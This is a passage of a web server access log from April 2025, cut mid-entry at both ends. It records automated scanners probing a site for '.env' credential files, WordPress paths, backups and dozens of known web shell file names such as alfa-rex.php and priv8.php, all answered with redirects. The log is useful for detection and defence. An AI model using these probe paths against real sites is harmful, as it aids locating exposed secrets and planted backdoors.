+http://www.pinterest.com/bot.html)" 54.236.1.11 - - [13/Apr/2025:10:18:00 -0400] "GET /robots.txt HTTP/1.1" 301 795 "-" "Mozilla/5.0 (compatible; Pinterestbot/1.0; +http://www.pinterest.com/bot.html)" 54.236.1.11 - - [13/Apr/2025:10:18:06 -0400] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (compatible; Pinterestbot/1.0; +http://www.pinterest.com/bot.html)" 191.96.227.132 - - [13/Apr/2025:10:19:09 -0400] "GET /.env HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:77.0) Gecko/20100101 Firefox/77.0" 98.159.234.205 - - [13/Apr/2025:10:28:53 -0400] "GET /.env HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:77.0) Gecko/20100101 Firefox/77.0" 18.223.108.59 - - [13/Apr/2025:10:49:41 -0400] "HEAD / HTTP/1.1" 301 0 "-" "python-requests/2.32.3" 172.233.109.66 - - [13/Apr/2025:11:02:06 -0400] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/88.0.4240.193 Safari/537.36" 93.123.109.125 - - [13/Apr/2025:11:27:35 -0400] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 185.147.125.23 - - [13/Apr/2025:11:37:53 -0400] "GET / HTTP/1.1" 301 795 "http://designpitara.com/" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/130.0.0.0 Safari/537.36 CCleaner/130.0.0.0" 18.223.108.59 - - [13/Apr/2025:11:56:44 -0400] "HEAD / HTTP/1.1" 301 0 "-" "python-requests/2.32.3" 43.166.237.57 - - [13/Apr/2025:12:18:04 -0400] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1" 128.24.49.172 - - [13/Apr/2025:12:18:16 -0400] "HEAD /wordpress HTTP/1.1" 301 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 128.24.49.172 - - [13/Apr/2025:12:18:17 -0400] "HEAD / HTTP/1.1" 301 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 128.24.49.172 - - [13/Apr/2025:12:18:18 -0400] "HEAD /wp HTTP/1.1" 301 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 128.24.49.172 - - [13/Apr/2025:12:18:18 -0400] "HEAD /bc HTTP/1.1" 301 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 128.24.49.172 - - [13/Apr/2025:12:18:18 -0400] "HEAD /bk HTTP/1.1" 301 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 128.24.49.172 - - [13/Apr/2025:12:18:19 -0400] "HEAD /backup HTTP/1.1" 301 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 128.24.49.172 - - [13/Apr/2025:12:18:19 -0400] "HEAD /old HTTP/1.1" 301 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 128.24.49.172 - - [13/Apr/2025:12:18:20 -0400] "HEAD /new HTTP/1.1" 301 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 128.24.49.172 - - [13/Apr/2025:12:18:20 -0400] "HEAD /main HTTP/1.1" 301 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 128.24.49.172 - - [13/Apr/2025:12:18:20 -0400] "HEAD /home HTTP/1.1" 301 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 13.79.31.54 - - [13/Apr/2025:13:09:12 -0400] "HEAD /wordpress HTTP/1.1" 301 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 13.79.31.54 - - [13/Apr/2025:13:09:13 -0400] "HEAD / HTTP/1.1" 301 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 13.79.31.54 - - [13/Apr/2025:13:09:14 -0400] "HEAD /wp HTTP/1.1" 301 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 13.79.31.54 - - [13/Apr/2025:13:09:14 -0400] "HEAD /bc HTTP/1.1" 301 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 13.79.31.54 - - [13/Apr/2025:13:09:15 -0400] "HEAD /bk HTTP/1.1" 301 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 13.79.31.54 - - [13/Apr/2025:13:09:16 -0400] "HEAD /backup HTTP/1.1" 301 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 13.79.31.54 - - [13/Apr/2025:13:09:16 -0400] "HEAD /old HTTP/1.1" 301 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 13.79.31.54 - - [13/Apr/2025:13:09:17 -0400] "HEAD /new HTTP/1.1" 301 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 13.79.31.54 - - [13/Apr/2025:13:09:18 -0400] "HEAD /main HTTP/1.1" 301 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 13.79.31.54 - - [13/Apr/2025:13:09:18 -0400] "HEAD /home HTTP/1.1" 301 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 185.196.220.113 - - [13/Apr/2025:13:47:00 -0400] "GET /wp-content/uploads/ HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 185.196.220.113 - - [13/Apr/2025:13:47:02 -0400] "GET /wp-includes/ HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 185.196.220.113 - - [13/Apr/2025:13:47:04 -0400] "GET /wp-content/ HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 185.196.220.113 - - [13/Apr/2025:13:47:06 -0400] "GET /wp-content/plugins/ HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 185.196.220.113 - - [13/Apr/2025:13:47:09 -0400] "GET /wp-content/themes/ HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 185.196.220.113 - - [13/Apr/2025:13:47:10 -0400] "GET /wp-admin/ HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 185.196.220.113 - - [13/Apr/2025:13:47:12 -0400] "GET /.well-known/ HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 185.196.220.113 - - [13/Apr/2025:13:47:14 -0400] "GET /.well-known/pki-validation/ HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 185.196.220.113 - - [13/Apr/2025:13:47:21 -0400] "GET /.well-known/acme-challenge/ HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 185.196.220.113 - - [13/Apr/2025:13:47:23 -0400] "GET /css/ HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 162.0.232.217 - - [13/Apr/2025:13:48:17 -0400] "GET /.well-known/pki-validation/about.php HTTP/1.1" 301 795 "-" "get_local:DCV" 162.0.232.217 - - [13/Apr/2025:13:48:26 -0400] "GET /.well-known/pki-validation/cloud.php HTTP/1.1" 301 795 "-" "get_local:DCV" 162.0.232.217 - - [13/Apr/2025:13:49:00 -0400] "GET /.well-known/pki-validation/xmrlpc.php%3fp= HTTP/1.1" 301 795 "-" "get_local:DCV" 162.0.232.217 - - [13/Apr/2025:13:49:24 -0400] "GET /.well-known/pki-validation/sx.php HTTP/1.1" 301 795 "-" "get_local:DCV" 162.0.232.217 - - [13/Apr/2025:13:50:01 -0400] "GET /.well-known/pki-validation/file.php HTTP/1.1" 301 795 "-" "get_local:DCV" 13.90.159.31 - - [13/Apr/2025:14:00:40 -0400] "GET /wp-admin/network/xmrlpc.php HTTP/1.1" 301 795 "-" "-" 13.90.159.31 - - [13/Apr/2025:14:00:42 -0400] "GET /.well-known/acme-challenge/fond.php HTTP/1.1" 301 795 "-" "-" 13.90.159.31 - - [13/Apr/2025:14:00:44 -0400] "GET /wp-includes/css/dist/widgets/ HTTP/1.1" 301 795 "-" "-" 13.90.159.31 - - [13/Apr/2025:14:00:46 -0400] "GET /assets/app.php HTTP/1.1" 301 795 "-" "-" 13.90.159.31 - - [13/Apr/2025:14:00:47 -0400] "GET /profile.php HTTP/1.1" 301 795 "-" "-" 13.90.159.31 - - [13/Apr/2025:14:00:47 -0400] "GET /wp-admin/ccx/ HTTP/1.1" 301 795 "-" "-" 13.90.159.31 - - [13/Apr/2025:14:00:48 -0400] "GET /wp-content/plugins/wp-theme-editor/include.php HTTP/1.1" 301 795 "-" "-" 13.90.159.31 - - [13/Apr/2025:14:00:48 -0400] "GET /makeasmtp.php HTTP/1.1" 301 795 "-" "-" 13.90.159.31 - - [13/Apr/2025:14:00:49 -0400] "GET /navigation.php HTTP/1.1" 301 795 "-" "-" 13.90.159.31 - - [13/Apr/2025:14:00:49 -0400] "GET /wp-includes/ID3/berlin.php HTTP/1.1" 301 795 "-" "-" 13.90.159.31 - - [13/Apr/2025:14:00:49 -0400] "GET /wp-content/themes/ HTTP/1.1" 301 795 "-" "-" 13.90.159.31 - - [13/Apr/2025:14:00:49 -0400] "GET /wp-admin/css/colors/blue/blkhfvco.php HTTP/1.1" 301 795 "-" "-" 13.90.159.31 - - [13/Apr/2025:14:00:50 -0400] "GET /wp-content/uploads/gfwisone.php HTTP/1.1" 301 795 "-" "-" 13.90.159.31 - - [13/Apr/2025:14:00:50 -0400] "GET /token.php HTTP/1.1" 301 795 "-" "-" 13.90.159.31 - - [13/Apr/2025:14:00:51 -0400] "GET /sidebar.php HTTP/1.1" 301 795 "-" "-" 13.90.159.31 - - [13/Apr/2025:14:00:51 -0400] "GET /wp-includes/l10n/ HTTP/1.1" 301 795 "-" "-" 13.90.159.31 - - [13/Apr/2025:14:00:51 -0400] "GET /wp-content/plugins/lsxvhpg/ HTTP/1.1" 301 795 "-" "-" 13.90.159.31 - - [13/Apr/2025:14:00:52 -0400] "GET /services.php HTTP/1.1" 301 795 "-" "-" 13.90.159.31 - - [13/Apr/2025:14:00:53 -0400] "GET /wp-includes/certificates/about.php HTTP/1.1" 301 795 "-" "-" 13.90.159.31 - - [13/Apr/2025:14:00:53 -0400] "GET /wp-admin/maint/wp-login.php HTTP/1.1" 301 795 "-" "-" 13.90.159.31 - - [13/Apr/2025:14:00:54 -0400] "GET /css/cloud.php HTTP/1.1" 301 795 "-" "-" 13.90.159.31 - - [13/Apr/2025:14:00:54 -0400] "GET /indeex.php HTTP/1.1" 301 795 "-" "-" 13.90.159.31 - - [13/Apr/2025:14:00:55 -0400] "GET /assets/fonts/admin.php HTTP/1.1" 301 795 "-" "-" 13.90.159.31 - - [13/Apr/2025:14:00:55 -0400] "GET /header.php HTTP/1.1" 301 795 "-" "-" 13.90.159.31 - - [13/Apr/2025:14:00:56 -0400] "GET /12.php HTTP/1.1" 301 795 "-" "-" 13.90.159.31 - - [13/Apr/2025:14:00:58 -0400] "GET /wp-includes/language/ HTTP/1.1" 301 795 "-" "-" 13.90.159.31 - - [13/Apr/2025:14:01:01 -0400] "GET /wp-includes/js/tinymce/plugins/fullscreen/ HTTP/1.1" 301 795 "-" "-" 13.90.159.31 - - [13/Apr/2025:14:01:02 -0400] "GET /wp-includes/random_compat/ HTTP/1.1" 301 795 "-" "-" 13.90.159.31 - - [13/Apr/2025:14:01:03 -0400] "GET /mini.php HTTP/1.1" 301 795 "-" "-" 13.90.159.31 - - [13/Apr/2025:14:01:04 -0400] "GET /wp-apxupx.php?apx=upx HTTP/1.1" 301 795 "-" "-" 13.90.159.31 - - [13/Apr/2025:14:01:05 -0400] "GET /wp-includes/PHPMailer/autoload_classmap.php HTTP/1.1" 301 795 "-" "-" 13.90.159.31 - - [13/Apr/2025:14:01:07 -0400] "GET /cron_job.php HTTP/1.1" 301 795 "-" "-" 13.90.159.31 - - [13/Apr/2025:14:01:07 -0400] "GET /images/headers/ HTTP/1.1" 301 795 "-" "-" 13.90.159.31 - - [13/Apr/2025:14:01:08 -0400] "GET /wp-blog-header.php HTTP/1.1" 301 795 "-" "-" 13.90.159.31 - - [13/Apr/2025:14:01:09 -0400] "GET /wp-includes/css/about.php7 HTTP/1.1" 301 795 "-" "-" 13.90.159.31 - - [13/Apr/2025:14:01:11 -0400] "GET /wp-content/themes/newstoday/ HTTP/1.1" 301 795 "-" "-" 13.90.159.31 - - [13/Apr/2025:14:01:11 -0400] "GET /content.php HTTP/1.1" 301 795 "-" "-" 13.90.159.31 - - [13/Apr/2025:14:01:12 -0400] "GET /predeploy.php HTTP/1.1" 301 795 "-" "-" 13.90.159.31 - - [13/Apr/2025:14:01:14 -0400] "GET /wp-admin/themes/index HTTP/1.1" 301 795 "-" "-" 13.90.159.31 - - [13/Apr/2025:14:01:14 -0400] "GET /wp-includes//wp-includes/admin-bar.php HTTP/1.1" 301 795 "-" "-" 13.90.159.31 - - [13/Apr/2025:14:01:15 -0400] "GET /wp-content/languages/ HTTP/1.1" 301 795 "-" "-" 13.90.159.31 - - [13/Apr/2025:14:01:16 -0400] "GET /batm.php HTTP/1.1" 301 795 "-" "-" 13.90.159.31 - - [13/Apr/2025:14:01:16 -0400] "GET /wp-admin/atomlib.php HTTP/1.1" 301 795 "-" "-" 13.90.159.31 - - [13/Apr/2025:14:01:17 -0400] "GET /wp-admin/user/about.php HTTP/1.1" 301 795 "-" "-" 13.90.159.31 - - [13/Apr/2025:14:01:18 -0400] "GET /wp-admin/dropdown.php HTTP/1.1" 301 795 "-" "-" 13.90.159.31 - - [13/Apr/2025:14:01:18 -0400] "GET /back.php HTTP/1.1" 301 795 "-" "-" 13.90.159.31 - - [13/Apr/2025:14:01:18 -0400] "GET /upload/ HTTP/1.1" 301 795 "-" "-" 13.90.159.31 - - [13/Apr/2025:14:01:19 -0400] "GET /index.php HTTP/1.1" 301 795 "-" "-" 13.90.159.31 - - [13/Apr/2025:14:01:19 -0400] "GET /favicon.php HTTP/1.1" 301 795 "-" "-" 13.90.159.31 - - [13/Apr/2025:14:01:20 -0400] "GET /alfanew.php7 HTTP/1.1" 301 795 "-" "-" 13.90.159.31 - - [13/Apr/2025:14:01:20 -0400] "GET /ioxi001.PhP7 HTTP/1.1" 301 795 "-" "-" 13.90.159.31 - - [13/Apr/2025:14:01:21 -0400] "GET /wp-includes/pomo/autoload_classmap.php HTTP/1.1" 301 795 "-" "-" 13.90.159.31 - - [13/Apr/2025:14:01:21 -0400] "GET /bak.php HTTP/1.1" 301 795 "-" "-" 13.90.159.31 - - [13/Apr/2025:14:01:21 -0400] "GET /wp-includes/luuf.php HTTP/1.1" 301 795 "-" "-" 13.90.159.31 - - [13/Apr/2025:14:01:22 -0400] "GET /lock.php HTTP/1.1" 301 795 "-" "-" 13.90.159.31 - - [13/Apr/2025:14:01:22 -0400] "GET /wp-admin/css/colors/coffee/ HTTP/1.1" 301 795 "-" "-" 13.90.159.31 - - [13/Apr/2025:14:01:23 -0400] "GET /wp-content/plugins/css-ready-sel/ HTTP/1.1" 301 795 "-" "-" 13.90.159.31 - - [13/Apr/2025:14:01:23 -0400] "GET /.well-known/acme-challenge/content.php HTTP/1.1" 301 795 "-" "-" 13.90.159.31 - - [13/Apr/2025:14:01:24 -0400] "GET /wp-admin/css/colors/coffee/cloud.php HTTP/1.1" 301 795 "-" "-" 13.90.159.31 - - [13/Apr/2025:14:01:25 -0400] "GET /wp-includes.bak/html-api/about.php HTTP/1.1" 301 795 "-" "-" 13.90.159.31 - - [13/Apr/2025:14:01:25 -0400] "GET /wp-includes/images/media/ HTTP/1.1" 301 795 "-" "-" 13.90.159.31 - - [13/Apr/2025:14:01:26 -0400] "GET /wp-content/plugins/html404/ HTTP/1.1" 301 795 "-" "-" 13.90.159.31 - - [13/Apr/2025:14:01:26 -0400] "GET /wp-configs.php HTTP/1.1" 301 795 "-" "-" 13.90.159.31 - - [13/Apr/2025:14:01:27 -0400] "GET /users.php HTTP/1.1" 301 795 "-" "-" 13.90.159.31 - - [13/Apr/2025:14:01:28 -0400] "GET /wp-content/themes/h47vbpo2/ HTTP/1.1" 301 795 "-" "-" 13.90.159.31 - - [13/Apr/2025:14:01:29 -0400] "GET /wp-includes/Text/Diff/Engine/ftp_rmdir.php HTTP/1.1" 301 795 "-" "-" 13.90.159.31 - - [13/Apr/2025:14:01:30 -0400] "GET /system_log.php HTTP/1.1" 301 795 "-" "-" 13.90.159.31 - - [13/Apr/2025:14:01:31 -0400] "GET /wp-content/uploads/index.php HTTP/1.1" 301 795 "-" "-" 13.90.159.31 - - [13/Apr/2025:14:01:32 -0400] "GET /wp-includes/css/dist/block-library/alfa-rex.php HTTP/1.1" 301 795 "-" "-" 13.90.159.31 - - [13/Apr/2025:14:01:32 -0400] "GET /wp-includes/ID3/autoload_classmap.php HTTP/1.1" 301 795 "-" "-" 13.90.159.31 - - [13/Apr/2025:14:01:33 -0400] "GET /wp-content/plugins/vheezid/ HTTP/1.1" 301 795 "-" "-" 13.90.159.31 - - [13/Apr/2025:14:01:33 -0400] "GET /wp-content/uploads/wpr-addons/forms/ HTTP/1.1" 301 795 "-" "-" 13.90.159.31 - - [13/Apr/2025:14:01:33 -0400] "GET /wp-includes.bak/html-api/ HTTP/1.1" 301 795 "-" "-" 13.90.159.31 - - [13/Apr/2025:14:01:33 -0400] "GET /jindex.php HTTP/1.1" 301 795 "-" "-" 13.90.159.31 - - [13/Apr/2025:14:01:34 -0400] "GET /wp-content/updraft/about.php HTTP/1.1" 301 795 "-" "-" 13.90.159.31 - - [13/Apr/2025:14:01:34 -0400] "GET /wp-content/plugins/npqzdpk/ HTTP/1.1" 301 795 "-" "-" 13.90.159.31 - - [13/Apr/2025:14:01:35 -0400] "GET /wp-content/plugins/fix/up.php HTTP/1.1" 301 795 "-" "-" 13.90.159.31 - - [13/Apr/2025:14:01:35 -0400] "GET /bitrix/js/seo/ads/client_selector/lang/ru/ HTTP/1.1" 301 795 "-" "-" 13.90.159.31 - - [13/Apr/2025:14:01:35 -0400] "GET /blog/wp-content/plugins/ubh/up.php HTTP/1.1" 301 795 "-" "-" 13.90.159.31 - - [13/Apr/2025:14:01:36 -0400] "GET /status.php HTTP/1.1" 301 795 "-" "-" 13.90.159.31 - - [13/Apr/2025:14:01:36 -0400] "GET /email.php HTTP/1.1" 301 795 "-" "-" 13.90.159.31 - - [13/Apr/2025:14:01:36 -0400] "GET /maintenance/ HTTP/1.1" 301 795 "-" "-" 13.90.159.31 - - [13/Apr/2025:14:01:36 -0400] "GET /wp-includes/class-controller-theme-comment.php HTTP/1.1" 301 795 "-" "-" 13.90.159.31 - - [13/Apr/2025:14:01:37 -0400] "GET /wp-includes/pomo/yellow.php HTTP/1.1" 301 795 "-" "-" 13.90.159.31 - - [13/Apr/2025:14:01:37 -0400] "GET /wp-content/plugins/classic-editor/ HTTP/1.1" 301 795 "-" "-" 13.90.159.31 - - [13/Apr/2025:14:01:37 -0400] "GET /wp-includes/about.php HTTP/1.1" 301 795 "-" "-" 13.90.159.31 - - [13/Apr/2025:14:01:37 -0400] "GET /wp-includes/repeater.php HTTP/1.1" 301 795 "-" "-" 13.90.159.31 - - [13/Apr/2025:14:01:38 -0400] "GET /.well-known/content.php HTTP/1.1" 301 795 "-" "-" 13.90.159.31 - - [13/Apr/2025:14:01:38 -0400] "GET /wp-admin/setup-config.php HTTP/1.1" 301 795 "-" "-" 13.90.159.31 - - [13/Apr/2025:14:01:38 -0400] "GET /chosen HTTP/1.1" 301 795 "-" "-" 13.90.159.31 - - [13/Apr/2025:14:01:39 -0400] "GET /priv8.php HTTP/1.1" 301 795 "-" "-" 13.90.159.31 - - [13/Apr/2025:14:01:39 -0400] "GET /cong.php HTTP/1.1" 301 795 "-" "-" 13.90.159.31 - - [13/Apr/2025:14:01:39 -0400] "GET /.well-known/kwggvpup.php HTTP/1.1" 301 795 "-" "-" 13.90.159.31 - - [13/Apr/2025:14:01:39 -0400] "GET /wp-content/plugins/widget-logic/ui.php HTTP/1.1" 301 795 "-" "-" 13.90.159.31 - - [13/Apr/2025:14:01:39 -0400] "GET /configure.php HTTP/1.1" 301 795 "-" "-" 13.90.159.31 - - [13/Apr/2025:14:01:40 -0400] "GET /wp-content/plugins/qufeaoy/ HTTP/1.1" 301 795 "-" "-" 13.90.159.31 - - [13/Apr/2025:14:01:40 -0400] "GET /.well-known/pki-validation/iR7SzrsOUEP.php HTTP/1.1" 301 795 "-" "-" 13.90.159.31 - - [13/Apr/2025:14:01:40 -0400] "GET /assets/cms/plugins/ckfinder/_samples/php/ HTTP/1.1" 301 795 "-" "-" 13.90.159.31 - - [13/Apr/2025:14:01:40 -0400] "GET /wp-includes/html-api/ HTTP/1.1" 301 795 "-" "-" 13.90.159.31 - - [13/Apr/2025:14:01:41 -0400] "GET /wp-includes/js/tinymce/skins/lightgray/img/ HTTP/1.1" 301 795 "-" "-" 13.90.159.31 - - [13/Apr/2025:14:01:41 -0400] "GET /credits.php HTTP/1.1" 301 795 "-" "-" 13.90.159.31 - - [13/Apr/2025:14:01:41 -0400] "GET /.well-known/acme-challenge/classsmtps.php HTTP/1.1" 301 795 "-" "-" 13.90.159.31 - - [13/Apr/2025:14:01:42 -0400] "GET /wp-admin/sx.php HTTP/1.1" 301 795 "-" "-" 13.90.159.31 - - [13/Apr/2025:14:01:42 -0400] "GET /log.php HTTP/1.1" 301 795 "-" "-" 13.90.159.31 - - [13/Apr/2025:14:01:43 -0400] "GET /wp-includes/qw.php HTTP/1.1" 301 795 "-" "-" 13.90.159.31 - - [13/Apr/2025:14:01:43 -0400] "GET /wp-content/plugins/sfdfryt/ HTTP/1.1" 301 795 "-" "-" 13.90.159.31 - - [13/Apr/2025:14:01:43 -0400] "GET /wp-includes/css/dist/edit-widgets/ HTTP/1.1" 301 795 "-" "-" 13.90.159.31 - - [13/Apr/2025:14:01:43 -0400] "GET /auth.php HTTP/1.1" 301 795 "-" "-" 13.90.159.31 - - [13/Apr/2025:14:01:44 -0400] "GET /wp-content/plugins/ubh/1.php HTTP/1.1" 301 795 "-" "-" 5.227.42.100 - - [13/Apr/2025:14:01:44 -0400] "GET / HTTP/1.1" 301 795 "http://designpitara.com/" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/103.0.0.0 Safari/537.36" 13.90.159.31 - - [13/Apr/2025:14:01:44 -0400] "GET /wp-includes/ID3/classwithtostring.php HTTP/1.1" 301 795 "-" "-" 13.90.159.31 - - [13/Apr/2025:14:01:44 -0400] "GET /wp-content/plugins/seoo/wsoyanz.php HTTP/1.1" 301 795 "-" "-" 13.90.159.31 - - [13/Apr/2025:14:01:45 -0400] "GET /pi.php HTTP/1.1" 301 795 "-" "-" 13.90.159.31 - - [13/Apr/2025:14:01:45 -0400] "GET /wp-admin/css/colors/sunrise/ HTTP/1.1" 301 795 "-" "-" 13.90.159.31 - - [13/Apr/2025:14:01:45 -0400] "GET /wp-content/uploads/2018/03/ab.php HTTP/1.1" 301 795 "-" "-" 13.90.159.31 - - [13/Apr/2025:14:01:45 -0400] "GET /new/transjule.php HTTP/1.1" 301 795 "-" "-" 13.90.159.31 - - [13/Apr/2025:14:01:46 -0400] "GET /wp-content/plugins/background-image-cropper/tmpls.php HTTP/1.1" 301 795 "-" "-" 13.90.159.31 - - [13/Apr/2025:14:01:47 -0400] "GET /wp-content/plugins/blwrume/ HTTP/1.1" 301 795 "-" "-" 13.90.159.31 - - [13/Apr/2025:14:01:47 -0400] "GET /.well-known/autoload_classmap.php HTTP/1.1" 301 795 "-" "-" 13.90.159.31 - - [13/Apr/2025:14:01:47 -0400] "GET /alfa-rex.php8 HTTP/1.1" 301 795 "-" "-" 13.90.159.31 - - [13/Apr/2025:14:01:48 -0400] "GET /wp-content/uploads/error_log.php HTTP/1.1" 301 795 "-" "-" 13.90.159.31 - - [13/Apr/2025:14:01:49 -0400] "GET /wp-includes/PHPMailer/upfile_(2).php HTTP/1.1" 301 795 "-" "-" 13.90.159.31 - - [13/Apr/2025:14:01:49 -0400] "GET /wp-content/languages/index.php HTTP/1.1" 301 795 "-" "-" 13.90.159.31 - - [13/Apr/2025:14:01:50 -0400] "GET /wp-includes/theme-compat/ HTTP/1.1" 301 795 "-" "-" 13.90.159.31 - - [13/Apr/2025:14:01:50 -0400] "GET /jquery.php HTTP/1.1" 301 795 "-" "-" 13.90.159.31 - - [13/Apr/2025:14:01:50 -0400] "GET /wp-admin/user/cloud.php HTTP/1.1" 301 795 "-" "-" 13.90.159.31 - - [13/Apr/2025:14:01:50 -0400] "GET /wp-admin/uploads/init HTTP/1.1" 301 795 "-" "-" 13.90.159.31 - - [13/Apr/2025:14:01:51 -0400] "GET /wp-admin/css/colors/blue/blkqvmih.php HTTP/1.1" 301 795 "-" "-" 13.90.159.31 - - [13/Apr/2025:14:01:51 -0400] "GET /wp-content/uploads/ HTTP/1.1" 301 795 "-" "-" 13.90.159.31 - - [13/Apr/2025:14:01:52 -0400] "GET /audit.php HTTP/1.1" 301 795 "-" "-" 13.90.159.31 - - [13/Apr/2025:14:01:52 -0400] "GET /wp-content/themes/pridmag/1.php HTTP/1.1" 301 795 "-" "-" 13.90.159.31 - - [13/Apr/2025:14:01:52 -0400] "GET /unix.php HTTP/1.1" 301 795 "-" "-" 13.90.159.31 - - [13/Apr/2025:14:01:53 -0400] "GET /wp-includes_old/Requests/Cookie/ HTTP/1.1" 301 795 "-" "-" 13.90.159.31 - - [13/Apr/2025:14:01:53 -0400] "GET /upload/info/ HTTP/1.1" 301 795 "-" "-" 13.90.159.31 - - [13/Apr/2025:14:01:53 -0400] "GET /wp-content/plugins/core-plugin/smaxx.php HTTP/1.1" 301 795 "-" "-" 13.90.159.31 - - [13/Apr/2025:14:01:54 -0400] "GET /uploads/files/merchants/NadeemHajouj/20190321194634/ HTTP/1.1" 301 795 "-" "-" 13.90.159.31 - - [13/Apr/2025:14:01:54 -0400] "GET /wp-content/plugins/fix/sx.php HTTP/1.1" 301 795 "-" "-" 13.90.159.31 - - 